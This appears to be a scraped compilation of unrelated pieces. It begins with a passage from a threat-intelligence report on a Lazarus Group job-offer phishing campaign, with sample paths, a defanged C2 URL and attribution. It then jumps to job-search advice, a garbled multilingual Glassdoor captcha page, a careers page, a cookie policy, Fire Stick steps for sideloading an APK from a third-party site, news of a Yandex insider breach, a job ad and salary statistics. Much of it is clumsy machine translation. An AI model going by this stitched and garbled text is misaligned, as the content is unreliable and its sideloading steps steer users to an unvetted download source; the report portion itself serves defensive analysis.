The detected samples C:\ProgramData\Applications\ApplicationCacher-f0182c1a4.rbs (compilation date: 2020-09-24T05:12:24Z) and C:\ProgramData\USOShared\usomsqlite3.lgs.dat (compilation date: 2020-09-29T03:34:06Z) are similar to CommsCacher. The files contain 64 MB of random repeating characters. They could be used by the attackers to bypass antivirus protection that can ignore large files.

The backdoor functions and its server side were described in detail in the article Operation North Star: Behind The Scenes.

5. Logs of victims

During the incident investigation, a number of malicious C2 servers were identified, and, after studying them, the experts managed to obtain log files with the IP addresses of victims also compromised by this group. Log format: [JD = ID][Date] [Victim IP] [User-Agent].

All identified victims were notified of the incidents. Sensitive information has been replaced with asterisks (*).

Figure 14. Structure of open folders

Figure 15. Example of lines from a victim log

The attacker-controlled servers contained files named sclient+[md5 victim]+.tmp or pagefile+[md5 victim]+.dat. These files contained information from compromised computers.

6. Attribution

The detected indicators of compromise belong to Lazarus Group, a hacker group also known as Hidden Cobra. The group has been operating since 2009 at least. Lazarus is thought to belong to a class of government-sponsored APT groups and come from North Korea. The group regularly conducts its attacks for the purpose of cyberespionage.

The main source vector of attacks is targeted phishing through third-party resources (Phishing: Spearphishing via Service). In this campaign, attackers, under the guise of the HR service of General Dynamics Mission Systems, sent documents with malicious macros containing a stub text with a job offer through LinkedIn, Telegram, WhatsApp, and corporate email.

Below is an example of correspondence between one of the victims and an attacker in the Telegram messenger. In this case, the attacker offered the victim to do a test assignment on the attacker-controlled server.

Figure 16. Example of correspondence with the attacker

To attack the organization, the attackers created a phishing site of General Dynamics Mission Systems. As C2 servers, they used the resources of allegedly compromised organizations located in Brazil, France, Japan, South Korea, and the United States.

Figure 17. Original and fake version of the GDMS website

The group is characterized by the use of unique malicious software for remote command execution:

• The detected backdoor CommsCacher indicates a connection with the malicious company Dream Job and identifies the group of attackers as the Lazarus Group.
• The document GD2020090939393903.doc obtained during the investigation contains a malicious macro, an encrypted payload, and startup parameters that are stored in Text Box shapes, which coincides with the description of malicious documents that were described in the McAfee report.

The malicious campaign was also reported by researchers from IssueMakersLab:

Figure 18. Chronology of attacks

7. Conclusions

To identify all compromised hosts and obtain detailed information about the incident, the experts scanned the entire company’s infrastructure for indicators of compromise, as well as network and file signatures of users. All possible host artifacts were also analyzed. The most useful artifacts for restoring the incident chronology were the USN Journal, EVTX Events, Jump Lists, and the MFT table.

This article describes the TTPs of the Lazarus Group, which allowed them to gain partial control over the infrastructure of the compromised company within four days. This shows a high degree of preparedness of attackers and an individual approach to compromising each host on the infrastructure. The attackers used both publicly available software and tools of their own design.

According to the investigation, the attackers did not gain access to sensitive information. As a result of the prompt actions of PT ESC specialists and administrators of the pharmaceutical company, the attackers were deprived of access to the controlled infrastructure.

Author: Aleksandr Grigorian, Positive Technologies

The article’s author thanks the incident response and threat intelligence teams PT Expert Security Center for their help in drafting the story.

8. Similar malicious campaign

After investigating the incident, we continued to track the Lazarus Group and identified a new attack that has no direct connection to the case in question, but affects a similar geographical segment.

During this attack, in November 2020, attackers used a malicious document (GDLS47129481.docx 994c02f8c721254a959ed9bc823ab94b) with CVE-2017-0199. The attack was allegedly aimed at a company from Russia. The attack was also reported on the Anonymous Security Agency’s Twitter account.

The document contained the following stub:

Figure 19. Example of the phishing document

C2 server:

https://www.forecareer[.]com/gdcareer/officetemplate-20nab.asp?iqxml=480012756ad26f72e412db0ae7aa183e

The attackers used the domain from the previous campaign; however, the visual component of the phishing site was changed.

Figure 20. Forged page

9. Verdicts of our products

PT Sandbox

PT Network Attack Discovery

10. MITRE TTPs

11. IOCs

How to look for a job and where to find one

31.08.2018

Many corporate websites feature a careers section. It is great if you know exactly where you want to work. First, you will not have to deal with recruiting companies, as your CV will be assessed by the in-house HR manager. Second, large companies often announce vacancies in a range of departments, so you may find just what you need sooner or later. To browse our current job openings, check out the Vacancies section at sbergraduate.ru.

There are also websites that collect links to career pages of major Russian companies, for instance, JobChase (http://www.jobchase.ru/).

On social media

Yo can find job announcements on Vkontakte public pages, on Telegram channels, and on specialized professional networks. Here are a few noteworthy examples.

Viadeo — viadeo.com

Second by number of users, this network is still available in Russia. With an interface similar to that of LinkedIn, Viadeo is based in France but operates all over the world in nine languages.

YoJob Telegram channel — https://t.me/yojob

With an audience of 20,000, this channel posts a wide range of job adverts: lawyers, analysts, managers, software developers, and so on. Importantly, it also covers internships, which is a great opportunity for entry-level applicants.

“Vacancies for Good People” — https://vk.com/vdhl_ru

The largest vacancy-advertising community on Vkontakte with 250,000+ subscribers.

“Have a Job — Need a Job” — https://www.facebook.com/groups/job.rabota/

One of the largest Russian-language Facebook groups with job adverts. The number of members exceeds 160,000.

On online notice boards

Surprisingly, this works for a wide range of professions. You can find requests for a variety of jobs, from minor renovation works to design projects, application development, and management on two Russian online notice boards — Avito https://www.avito.ru/rossiya/rabota and YouDo https://youdo.com/rabota/. You can either look for requests yourself or wait until a potential customer contacts you. For one-time orders, the rule is as follows: the more orders you accept through the platform, the more new orders you get.

Through Antirabstvo

Antirabstvo (“Anti-Slavery”) is a project of Russia’s best-known HR agency founded by Alena Vladimirskaya. The procedure includes an online course, an individual consultation with a HR specialist, an audit of your skills and expertise, and assistance with your CV and the criteria of your dream job. Afterwards, your CV is included in Antirabstvo send-outs and mobile app and forwarded to a selection of employers. The course is paid, and the send-out lists are impressive, but the results, as always, depend only on you.

On Yandex.Rabota

At https://rabota.yandex.ru/ you will find a user-friendly job aggregator with postings from all over Russia. Its principle is similar to other Yandex aggregators — it collects job postings from its partners. The portal has a noteworthy Students section with adverts about internships, job placement, and entry-level positions with no experience required.

On major Russian job search websites like Headhunter.ru, Job.ru, Superjob.ru, and Rabota.ru

The four giants of the Russian labor market offer over 100,000 job adverts each. On the one hand, it is like looking for a needle in a haystack; on the other, you might just stumble across what you need. When you look for a job, you should not leave a stone unturned, so it makes sense to check out these websites too. To avoid scrolling down too many similar adverts, you can set up notifications about jobs that meet certain criteria.

On foreign websites

If you are seeking employment overseas, there are two ways to go about this. You can get a job at the Russian office of a transnational corporation and hope for a transfer. Alternatively, you can start looking for an opening at transnational companies right away. Each country has its major job search websites, pages on social networks, and mobile applications. We will give you two such examples.

Job and Talent https://www.jobandtalent.com/ is a British recruiting platform that searches for job adverts by means of a linguistic neural network. Its software matches applicants to vacancies. The number of users borders on 2 million people. The geography of vacancies includes six countries: Germany, Colombia, Mexico, Spain, the UK, and Sweden.

Indeed.com is the US’s largest job search engine. It operates in Russia too, although it is not very popular. You can upload your CV to Indeed, learn the average pay for a selected category of jobs, find out whether such openings emerge often, or explore America’s current employment trends.

Понравилась статья?

Отправь ссылку другу

Безопасность | Стеклянная дверь

Мы получаем подозрительную активность от вас или кого-то, кто пользуется вашей интернет-сетью.
Подождите, пока мы подтвердим, что вы настоящий человек. Ваш контент появится в ближайшее время.
Если вы продолжаете видеть это сообщение, напишите нам
чтобы сообщить нам, что у вас возникли проблемы.

Nous aider à garder Glassdoor sécurisée

Nous avons reçu des activités suspectes venant de quelqu’un utilisant votre réseau internet.
Подвеска Veuillez Patient que nous vérifions que vous êtes une vraie personne.Вотре содержание
apparaîtra bientôt. Si vous continuez à voir ce message, veuillez envoyer un
электронная почта à
pour nous informer du désagrément.

Unterstützen Sie uns beim Schutz von Glassdoor

Wir haben einige verdächtige Aktivitäten von Ihnen oder von jemandem, der in ihrem
Интернет-Netzwerk angemeldet ist, festgestellt. Bitte warten Sie, während wir
überprüfen, ob Sie ein Mensch und kein Bot sind. Ihr Inhalt wird в Kürze angezeigt.
Wenn Sie weiterhin diese Meldung erhalten, informieren Sie uns darüber bitte по электронной почте:
.

We hebben verdachte activiteiten waargenomen op Glassdoor van iemand of iemand die uw internet netwerk deelt.
Een momentje geduld totdat, мы узнали, что u daadwerkelijk een persoon bent. Uw bijdrage zal spoedig te zien zijn.
Als u deze melding blijft zien, электронная почта:
om ons te laten weten dat uw проблема zich nog steeds voordoet.

Hemos estado detectando actividad sospechosa tuya o de alguien con quien compare tu red de Internet. Эспера
mientras verificamos que eres una persona real.Tu contenido se mostrará en breve. Si Continúas recibiendo
este mensaje, envía un correo electrónico
a para informarnos de
que tienes problemas.

Hemos estado percibiendo actividad sospechosa de ti o de alguien con quien compare tu red de Internet. Эспера
mientras verificamos que eres una persona real. Tu contenido se mostrará en breve. Si Continúas recibiendo este
mensaje, envía un correo electrónico a
para hacernos saber que
estás teniendo problemas.

Temos Recebido algumas atividades suspeitas de voiceê ou de alguém que esteja usando a mesma rede.Aguarde enquanto
confirmamos que Você é Uma Pessoa de Verdade. Сеу контексто апаресера эм бреве. Caso продолжить Recebendo esta
mensagem, envie um email para
пункт нет
informar sobre o проблема.

Abbiamo notato alcune attività sospette da parte tua o di una persona che condivide la tua rete Internet.
Attendi mentre verifichiamo Che sei una persona reale. Il tuo contenuto verrà visualizzato a breve. Secontini
visualizzare questo messaggio, invia un’e-mail all’indirizzo
per informarci del
проблема.

Пожалуйста, включите куки и перезагрузите страницу.

Это автоматический процесс. Ваш браузер в ближайшее время перенаправит вас на запрошенный контент.

Подождите до 5 секунд…

Перенаправление…

Заводское обозначение: CF-102 / 6

df492ffa5c.

Карьера

Присоединяйтесь к Shawcor и развивайте свою карьеру в ведущей в отрасли организации.

Имея операции в более чем 25 странах, уникальную культуру предпринимательства и репутацию новатора, возможности, задачи и возможности развития, которые мы предлагаем, безграничны.

В конце концов, каждый из наших 8000 сотрудников представляет лучших в своей области, и мы прилагаем согласованные усилия для найма сотрудников с разным уровнем опыта и подготовки. Мы — одна из немногих энергетических или промышленных компаний, обладающих возможностями исследований и разработок в области материаловедения, применения материалов, технологий контроля и разработки процессов. Такое разнообразие мыслей и опыта — вот что делает Shawcor выдающимся местом для работы.

Карьера

Обладая основными ценностями и бизнес-драйверами, лежащими в основе наших действий, Shawcor постоянно превосходит ожидания клиентов и укрепляет свое лидерство в отрасли.

ОБЛАСТИ ЭКСПЕРТИЗЫ

Наша глобальная операционная структура, от лучших выпускников до опытных профессионалов, предлагает бесценные возможности и опыт для самых разных групп талантов. В настоящее время набор персонала Shawcor сосредоточен на:

• Операции: HSE, бережливые специалисты, закупки
• Техники и инспекторы по обслуживанию на месте
• Разработка продукции, процессов и установок
• Управление проектами
• Продажи и маркетинг
• Исследования и разработки: материаловедение
• Поддержка бизнеса: финансы, информационные технологии и человеческие ресурсы

ОСНОВНЫЕ ЗНАЧЕНИЯ

Успех на наших текущих рынках и реализация нашего видения роста стали возможными благодаря нашим сотрудникам.Помимо интеллекта, преданности делу и профессионализма, мы ищем людей, которые воплощают наши ценности. Наши культурные ценности включают честность, исполнение и технологии, а также ответственность, уважение и правильные поступки.

В ФОКУСЕ ТАЛАНТА

В свою очередь, мы развиваем наших сотрудников с помощью различных инициатив по обучению и развитию, включая постоянные инвестиции в развитие сотрудников.

Глобальные возможности
Наши глобальные ресурсы в 25 странах Shawcor раскрывают ваши возможности на мировой арене.

Развитие менеджмента
Наша программа международного бизнес-аналитика (IBA), предусматривающая возможность наставничества в течение 12–18 месяцев, знакомит лучших кандидатов с MBA со всеми аспектами нашего бизнеса в рамках подготовки к возможностям на уровне управления.

Развитие персонала
Мы уделяем особое внимание управлению эффективностью, проверке талантов, планированию преемственности и продвижению ключевых лидерских качеств.

Есть вопросы? Прочтите наш FAQ здесь.
* Возможности трудоустройства и предложения делаются только официальным руководством Shawcor.

вакансий | Регула

На нашем веб-сайте мы используем файлы cookie для сбора технической информации. В частности, мы обрабатываем IP-адрес вашего местонахождения, чтобы персонализировать содержимое сайта.
Правила Политики использования файлов cookie.

Необходимые файлы cookie

Эти файлы cookie необходимы для того, чтобы пользователь мог свободно посещать и просматривать веб-сайт, а также использовать возможности, предлагаемые веб-сайтом, а именно, получать информацию о продуктах, предоставляемых Regula.

Статистические и маркетинговые файлы cookie

Статистические файлы cookie обобщают информацию о привычках использования веб-сайта, наиболее часто посещаемых разделах, предпочтительном контенте, который пользователь выбирает при посещении веб-сайта. Полученная информация анализируется с целью определения интересов пользователя, а также с целью улучшения функциональности и удобства использования сайта.

Маркетинговые (рекламные) файлы cookie используются для обобщения информации о веб-сайтах, посещаемых пользователями.Это позволяет предлагать услуги, предлагаемые нашей компанией или нашими партнерами, которые интересны конкретному пользователю, соответствующему пользователю, а также направлять предложения, соответствующие интересам конкретных пользователей, соответствующим пользователям.

ОК

Эта политика использования файлов cookie на веб-сайте Regula описывает условия использования файлов cookie на веб-сайтах Regula (www.regulaforensics.com, support.regulaforensics.com, mobile.regulaforensics.com, api.regulaforensics.com), объясняют цели использования файлов cookie, а также право пользователей выбирать способ использования файлов cookie, который соответствует их требования.

Что такое файлы cookie?

Файлы cookie — небольшие текстовые файлы, которые хранятся веб-браузером (например, Internet Explorer, Firefox, Chrome и другими) в пользовательских настройках (на компьютере, смартфоне, планшете), когда пользователь посещает веб-сайт.Это позволяет идентифицировать браузер или сохранять информацию и настройки в браузере. Таким образом, использование файлов cookie позволяет веб-сайту сохранять индивидуальные настройки пользователя, распознавать пользователя и надлежащим образом реагировать с целью улучшения опыта использования веб-сайта. Обычно файлы cookie не содержат никакой информации, которая могла бы идентифицировать пользователя, но ваша личная информация может быть связана с информацией, полученной или сохраненной с помощью файлов cookie. Пользователь может отказаться от использования или ограничить использование файлов cookie, но отказ от использования файлов cookie не позволяет пользователю в полной мере использовать все функции веб-сайта.Файлы cookie различаются в зависимости от их функций и целей использования. На сайтах компании Regula используются обязательные, функциональные, аналитические и таргетированные (рекламные) файлы cookie.

Обязательные или «необходимые» файлы cookie

Эти файлы cookie необходимы для того, чтобы пользователь мог свободно посещать и просматривать веб-сайт, а также использовать возможности, предлагаемые веб-сайтом, а именно получать информацию о продуктах, предоставляемых Regula. Эти файлы cookie идентифицируют устройство пользователя, сохраняя при этом анонимность пользователя.Эти файлы cookie не собирают и не обрабатывают информацию. Без использования этих файлов cookie веб-сайт не может полностью выполнять свои функции, например, предоставлять пользователю необходимую информацию, обеспечивать выполнение услуг, запрошенных из электронного магазина, подключаться к профилю или обрабатывать заказы. Эти файлы cookie хранятся на устройстве пользователя до момента закрытия браузера.

Функциональные или предпочтительные файлы cookie

Благодаря функциональным файлам cookie веб-сайт запоминает выбранные пользователем настройки и их предпочтения, например, выбранный регион и страну, что упрощает использование веб-сайта.Эти файлы cookie постоянно хранятся на устройстве пользователя.

Статистические файлы cookie

Статистические файлы cookie обобщают информацию о привычках использования веб-сайта, наиболее часто посещаемых разделах, предпочтительном контенте, который пользователь выбирает при посещении веб-сайта. Полученная информация анализируется с целью определения интересов пользователя, а также с целью улучшения функциональности и удобства использования сайта. Статистические файлы cookie идентифицируют только устройство пользователя, сохраняя анонимность пользователя.В некоторых случаях вместо владельца веб-сайта некоторые аналитические файлы cookie управляются третьей стороной — оператором обработки данных, например Google Adwords, по поручению владельца веб-сайта и только для достижения целей, определенных владельцем.

Целевые или маркетинговые файлы cookie

Целевые (рекламные) файлы cookie используются для обобщения информации о веб-сайтах, посещаемых пользователями. Это позволяет предлагать услуги, предлагаемые нашей компанией или нашими партнерами, которые интересны конкретному пользователю, соответствующему пользователю, а также направлять предложения, соответствующие интересам конкретных пользователей, соответствующим пользователям.Обычно эти файлы cookie размещаются третьими сторонами, например Google Adwords, с разрешения владельца веб-сайта и в соответствии с указанными целями. Целевые файлы cookie обычно постоянно хранятся на устройстве пользователя.

Битрикс24

Система управления Битрикс24 предназначена для управления контентом сайта Regula и получения данных о сессиях пользователей. Битрикс24 предоставляет полностью интегрированную систему управления задачами, документооборота и системы хранения.

Битрикс24 — это безопасное решение для интрасети «под ключ», которое обеспечивает безопасную платформу записи и решение, которое обеспечивает совместимость с GDPR путем перемещения всех данных из веб-хранилищ и локальных дисков в надежно защищенное централизованное хранилище.

Более подробно ознакомиться с информацией о предоставлении Битрикс24 защиты и конфиденциальности данных можно по этой ссылке.

Google Analytics / Яндекс.Метрика

Google Analytics и Яндекс.Программное обеспечение Metrica используется для обеспечения работоспособности сайта Regula. Информация о вашем веб-сайте с использованием привычек, полученная с помощью этих файлов cookie, отправляется на серверы Google и / или Яндекс за границу, и поэтому она может храниться за пределами Латвии или Европейского Союза. Эта информация может храниться, например, на территории США и / или Российской Федерации.

В соответствии с Условиями предоставления услуг Google Inc. и Условиями предоставления услуг Google Analytics, Google будет использовать эту информацию для оценки использования веб-сайта и для составления отчетов об активности посетителей веб-сайтов Regula.Вы можете отказаться от использования файлов cookie Google Analytics, загрузив и установив надстройку браузера Google Analytics Opt-Out.

Чтобы получить более подробную информацию об инструментах Google Analytics, работе, а также обеспечении защиты и конфиденциальности данных, перейдите по этой ссылке.

В соответствии с Условиями ООО «Яндекс». предоставления услуг и Условий предоставления услуг Яндекс.Метрика, Яндекс будет использовать эту информацию для оценки использования веб-сайта и для составления отчетов о деятельности посетителей веб-сайтов Регулы.Вы можете отказаться от использования файлов cookie Яндекс.Метрики, загрузив и установив надстройку отказа Яндекс.Метрики.
плагин.

Подробнее об инструментах Яндекс Метрики, работе, а также обеспечении защиты и конфиденциальности данных можно узнать по этой ссылке.

Zendesk Support

Regula использует интегрированную систему поддержки клиентов Zendesk для отслеживания, определения приоритетов и реализации заявок, полученных службой поддержки клиентов.Это позволяет сосредоточить все операции поддержки в одном центре, в результате чего общение с клиентами становится беспрепятственным, персонализированным и эффективным.

Чтобы узнать больше об инструментах, операциях, а также о защите данных и конфиденциальности Zendesk, перейдите по этой ссылке. Чтобы ознакомиться с условиями обработки файлов cookie Zendesk, щелкните здесь.

Для каких целей (задач) Regula использует файлы cookie

Regula использует файлы cookie, чтобы улучшить использование наших веб-сайтов и порталов, а именно:

• Для обеспечения функциональности и управления сайтом;
• Для адаптации функциональности веб-сайта в соответствии с привычками пользователя, например, в отношении языка использования;
• Для сбора статистики использования веб-сайта собираются стандартные записи журнала: количество посетителей, продолжительность посещения, время подключения, IP-адрес, модель и тип устройств и другая анонимная информация о ваших действиях на веб-сайте;
• Для «запоминания» предоставленного согласия посетителя веб-сайта на обработку необязательных файлов cookie;
• В случае использования технических услуг файлы cookie используются для обеспечения защищенного соединения с клиентом;

Информация, хранящаяся в файлах cookie, не используется для идентификации вас как физического лица.

Как долго хранятся файлы cookie?

Если не указано иное, файлы cookie хранятся до тех пор, пока не будут реализованы назначенные функции. После реализации соответствующей функции файлы cookie удаляются. Подробнее см. Таблицы 1–4.

Согласие или отказ в использовании файлов cookie

Когда вы заходите на наш веб-сайт, на нем отображается уведомление с информацией о том, что веб-сайт использует файлы cookie.Вы можете дать свое согласие или отозвать свое согласие на использование файлов cookie определенной группы, поставив или удалив знак «Ö» рядом с файлами cookie соответствующей группы. Вы можете изменить свой выбор в любое время — есть ссылка «Настройки файлов cookie» внизу главной страницы. Нажимая «Сохранить изменения», вы подтверждаете, что ознакомились с Условиями использования файлов cookie, включая информацию о файлах cookie и целях их использования, а также подтверждаете выбранные параметры, касающиеся конкретных типов файлов cookie.Настройки безопасности любого интернет-браузера позволяют ограничить использование файлов cookie или отключить файлы cookie. Тем не менее, имейте в виду, что полная функциональность работы сайта будет невозможна, если вы решите отключить обязательные файлы cookie.

Контактная информация

Чтобы узнать больше о нас и о том, как мы обрабатываем ваши личные данные, прочтите нашу Политику конфиденциальности или свяжитесь с нами по электронной почте [email protected].

Файлы cookie www.regulaforensics.com Таблица 1

Файлы cookie support.regulaforensics.com Таблица 2

Файлы cookie mobile.regulaforensics.com Таблица 3

Файлы cookie api.regulaforensics.com Таблица 4

Как скачать Яндекс.Вакансии на Fire Stick

Вариант А: Установить Яндекс.Задания прямо на Fire Stick

1. Популярные приложения Fire Stick можно найти, перейдя в раздел «Приложения» на главном экране. Затем прокрутите список доступных приложений и выберите «Получить», когда найдете «Яндекс.Вакансии »(тот, который вам нужен). Приложения, которые вы найдете здесь, перечислены в разных категориях, что упрощает поиск того, что вы ищете.
2. Как загрузить приложения с помощью функции поиска:
   
   1. Запустите Fire Stick и выберите значок поиска (увеличительное стекло) в верхнем меню. Вы можете найти его в верхнем левом углу экрана.
   2. Введите «Яндекс.Работы» в строку поиска. Вам будут показаны некоторые предложения. Выберите «Яндекс.Вакансии »из списка.
   3. Нажмите «Получить» или «Скачать» (вы увидите кнопку «Скачать», если ранее загружали Яндекс.Вакансии. Вы увидите кнопку «Получить», если никогда раньше не загружали Яндекс.Вакансии).
   4. Дождитесь завершения загрузки и выберите «Открыть», чтобы запустить ее.

Вариант Б. Загрузка приложения Яндекс.Jobs на ваш Amazon FireStick / Fire TV

Устройства Fire TV

Amazon работают под управлением сильно модифицированной версии Android, что означает, что вы можете установить на них некоторые приложения Android.Хотя во встроенном магазине Amazon Appstore есть широкий выбор приложений и игр, вы также можете установить программное обеспечение, недоступное в официальном магазине, если у вас есть файл APK.

Обратите внимание, что устройства Fire TV не полностью совместимы со всеми приложениями Android — многие игры и приложения предназначены для сенсорного экрана, а не для физического пульта дистанционного управления.

Шагов:

1. На главном экране вашего устройства наведите указатель мыши на опцию «Найти». Щелкните на «Поиск». Найдите «Загрузчик».Выберите приложение Downloader. Щелкните «Загрузить».
2. После установки Downloader вернитесь на главный экран вашего устройства и откройте настройки > My Fire TV> Параметры разработчика> Установить неизвестные приложения . Вы увидите приложение Downloader. Нажмите здесь. Это установит для параметра «Неизвестные источники» значение «Вкл.» Для приложения Downloader, что позволит выполнять боковую загрузку на вашем устройстве.

.

3. Теперь откройте приложение Downloader. Появится всплывающее окно с вопросом, разрешен ли Загрузчику доступ к файлам на вашем устройстве.Щелкните «Разрешить».
4. Появится всплывающее окно с названием «Краткое руководство». Нажмите «ОК».
5. Теперь вы увидите поле URL. Поместите курсор в поле URL-адреса и нажмите кнопку OK на пульте дистанционного управления, чтобы открыть клавиатуру.
6. Введите следующий URL-адрес в точности так, как он указан здесь — https://7techgirl.com/apk/395253 ИЛИ https://7techgirl.com/cid/395253 и нажмите «Перейти»

Начнется скачивание apk-файла

7. Yandex.Jobs.Дождитесь завершения загрузки файла.
8. После того, как Яндекс.Вакансии будут загружены, в следующем всплывающем окне нажмите Установить. Ваш APK Яндекс.Jobs будет установлен.
9. После загрузки вам может быть предложено удалить установочный файл и освободить место на вашем устройстве. Нажмите «Удалить», чтобы удалить файл. Теперь все готово.
10. Установленное приложение Яндекс.Вакансии теперь находится в разделе — Приложения и каналы> Просмотреть все.

Яндекс.Jobs — это приложение для Android в формате Apk, разработанное Yandex Apps. Относится к жанру Бизнес. Последней версией является версия 1.11, и для ее запуска требуется 4.0.3. Если ваш Firestick работает на более поздней версии Android, чем эта, вам не о чем беспокоиться.

База вакансий, не требующих резюме: более 400 000 вакансий. Не нужно заполнять формы, писать сопроводительные письма и ждать, пока компания свяжется с вами — просто выберите работу, которая вам подходит, и свяжитесь с работодателем напрямую.* Выбирайте вакансии по заработной плате, местонахождению или графику работы.
* Просматривайте вакансии для соискателей без опыта, должности с частичной занятостью или работы с ежедневной заработной платой.
* Сохраняйте предложения о работе, которые вам интересны, и просматривайте их позже в автономном режиме.
* Получите доступ к своей полной истории звонков в любой момент, чтобы проверить, с кем вы уже связались, и, при необходимости, позвоните им еще раз.

Как на Яндекс повлияла инсайдерская работа

Яндекс, популярная интернет-компания в Европе и поисковая платформа в России, раскрыла инсайдерскую атаку, которая затронула тысячи почтовых систем ее сотрудников.В официальном сообщении компании сообщается, что один из ее системных администраторов незаконно получил доступ к почтовым ящикам пользователей в личных целях.

«Этот сотрудник был одним из трех системных администраторов, имевших права доступа для оказания технической поддержки почтовых ящиков», — сказал Яндекс.

Всего сотрудник скомпрометировал более 4887 почтовых ящиков . Однако Яндекс подтвердил, что инцидент не повлиял на платежные реквизиты. Пока ведется подробное внутреннее расследование нарушения, Яндекс сообщил о происшествии в правоохранительные органы.Группа безопасности также заблокировала несанкционированный доступ к скомпрометированным почтовым ящикам и уведомила затронутых пользователей о взломе. Пользователям было предложено немедленно изменить пароли своих учетных записей, чтобы избежать дальнейших потерь.

«В настоящее время ведется тщательное внутреннее расследование инцидента, и Яндекс внесет изменения в процедуры административного доступа. Это поможет свести к минимуму вероятность того, что отдельные лица могут поставить под угрозу безопасность пользовательских данных в будущем. Компания также обратилась в правоохранительные органы », — добавил Яндекс.

Ранее Яндекс был взломан западной разведкой. Согласно отчету, предполагаемый взлом произошел с целью поиска информации о том, как Яндекс аутентифицирует учетные записи пользователей. Было обнаружено, что для проникновения в системы использовалась вредоносная программа, получившая название « Regin ». Регин — это инструмент, который используется «Пятью глазами», связью разведки, которая включает США, Великобританию, Австралию, Новую Зеландию и Канаду.

Внутренние атаки могут повлиять на организацию разными способами. От высоких штрафов до ущерба имиджу бренда он наносит множественные удары по компаниям.Некоторые из последствий включают потерю доверия клиентов, финансовый ущерб, потерю интеллектуальной собственности, огромное влияние на репутацию компании и крупные штрафы со стороны регулирующих органов.

Связанная история: Инсайдерские угрозы: побочный продукт новой нормы

Yandex Enterprises Limited Вакансия: Руководитель ресторана (август 2021 г.)

Добро пожаловать на JobwebKenya.com. Этот веб-сайт поможет вам осуществить вашу карьерную мечту, разместив ссылки на вакансии от ведущих компаний Кении.Соискателям работы также доступны лучшие статьи для карьерного роста и развития. Нажмите здесь, чтобы подписаться на уведомления о вакансиях. Мы настоятельно рекомендуем выпускникам не платить деньги до получения работы. Сообщайте о мошеннических вакансиях на номер [адрес электронной почты защищен]

Yandex Enterprises Limited — это компания, занимающаяся продажей и маркетингом строительных и строительных материалов. В настоящее время мы диверсифицируем нашу продукцию, занимаясь строительством и эксплуатацией элитных обслуживаемых квартир, и мы стремимся нанять персонал, который обеспечит высококачественное обслуживание наших гостей и приложите все усилия, чтобы гости остались довольны.

Должностные обязанности руководителя ресторана

• Направляйте персонал для обеспечения соблюдения стандартов безопасности пищевых продуктов, приготовления продуктов и чистоты.
• Предложить поддержку менеджеру по питанию и напиткам в плане операций
• Сообщать персоналу об изменениях в формулах, стандартах приготовления пищи и т. Д.
• Контролирует расходы путем сбора и предоставления бюджетной информации; планирование расходов; мониторинг отклонений; выполнение корректирующих действий.
• Набор, вознаграждение и увольнение сотрудников по мере необходимости.
• Разрабатывать графики, назначать и контролировать работу.
• Решение производственных проблем и ведение справочных руководств
• Добивайтесь результатов работы сотрудников, обучая, консультируя и дисциплинируя сотрудников.
• Планируйте, отслеживайте и оценивайте результаты работы.
• Проведение обучения; внедрять и обеспечивать соблюдение систем, политик и процедур.
• Убедитесь, что соблюдаются все местные и национальные нормы по охране здоровья и безопасности пищевых продуктов, а также соблюдаются правила безопасности и защиты компании.
• Находите потенциальных клиентов и связывайтесь с ними для стимулирования продаж.
• Планируйте специальные мероприятия и акции.
• Контролировать процессы обучения для обеспечения качественного обучения сотрудников.
• Содействовать в разработке программ ориентации новых сотрудников и программ вознаграждения.
• Работает с персоналом для достижения целей продаж, используя доступные отчеты для выявления возможностей.
• Способствует командным усилиям, добиваясь соответствующих результатов по мере необходимости.

Квалификация для должности начальника ресторана

• По крайней мере, диплом в области гостиничного менеджмента или другой связанной области
• Отличные навыки общения, межличностного общения и разрешения конфликтов.
• Требуются базовые математические и бухгалтерские навыки и сильные аналитические навыки / навыки принятия решений;
• Продемонстрированные достижения в подборе, обучении и развитии персонала.

Если вы готовы принять вызов, обладаете необходимой квалификацией и опытом; пожалуйста, отправляйте свое резюме только с указанием названия должности в теме электронного письма [электронная почта защищена]

Не пропустите последние вакансии в Кении. Подпишитесь сегодня. НАЖМИТЕ ЗДЕСЬ

Подать заявку на эту вакансию

Имя *

Электронная почта *

Сообщение *

Загрузить резюме (pdf, doc, docx, zip, txt, rtf)

Загрузить сопроводительное письмо (pdf, doc, docx, zip, txt, rtf)

Недостаточно пенсионеров или статистики зарплат JavaScript-разработчиков

У

Headz есть Telegram-бот Headz Analytics.Он следит за зарплатами в ИТ-индустрии в 12 крупнейших городах России. Мы собрали статистику за 2020 год, чтобы лучше понять, как обстоят дела у разработчиков JavaScript: мы проанализировали данные об уровнях заработной платы от юниоров до пожилых людей в нескольких городах. Для большей достоверности мы посмотрели на другие источники — исследования Яндекса и Хабр Карьера, чтобы получить некую общую картину. И вот что произошло.

Кадровый голод — не миф

В среднем на рынке разработки программного обеспечения ситуация с резюме и вакансиями следующая: в открытом доступе найдено 16 387 вакансий, на которые претендуют 65 577 соискателей.Средний конкурс — 4 человека на место.

В то же время разработчиков JavaScript не хватает. На 1716 вакансий претендуют всего 914 кандидатов. Получается, что за одного человека в штате борются две компании. Аналогичные цифры приведены и в исследовании HH совместно с Яндекс.Практимум (материал 2019 г. по данным за 2016-2018 гг.).

Примечание … Ссылка на источник Исследование Яндекса …

В данных Яндекса конкуренция (соотношение вакансий к резюме) находится в диапазоне от 0.От 45 до 0,59. Это соответствует нашим результатам — 0,53 или 914 резюме на 1716 вакансий.

Для сравнения статистика по ИТ-рынку в целом.

Вернемся к разработчикам JavaScript и рассмотрим подробнее. Больше всего ищут работу средние и юниоры (436 и 384 соответственно). А вот пенсионеры вроде бы трудоустроены: их количество от общего числа поступающих всего 10%. Возможно ли, что хорошие пожилые люди переходят из рук в руки — у них нет времени дойти до рабочих площадок со своим резюме?

Раздача резюме в зависимости от уровня.

Но если у сеньоров практически нет конкуренции, а компании пытаются заполучить специалиста, то соревноваться должны сами юниоры. В среднем это 1,7 человека на вакансию:

Вот так выглядит соревнование. Горизонтальные цифры — количество резюме на одну вакансию.

Что касается городов, то здесь никаких сюрпризов: больше всего люди ищут работу в Москве и Санкт-Петербурге — конкуренция 0,66 и 0,64. Наименьшее количество соискателей в Рязани — 3 резюме, и в Томске, где 45 вакансий в открытых источниках на 7 резюме.

Распределение резюме по городам.

В Казани 41 резюме на 59 вакансий.

Городское соревнование. Самый низкий — в Сибири.

Больше всего вакансий и резюме ожидается в Москве, но и здесь нет конкуренции: 0,66 человека на место.

Вакансии и резюме в Москве четко.

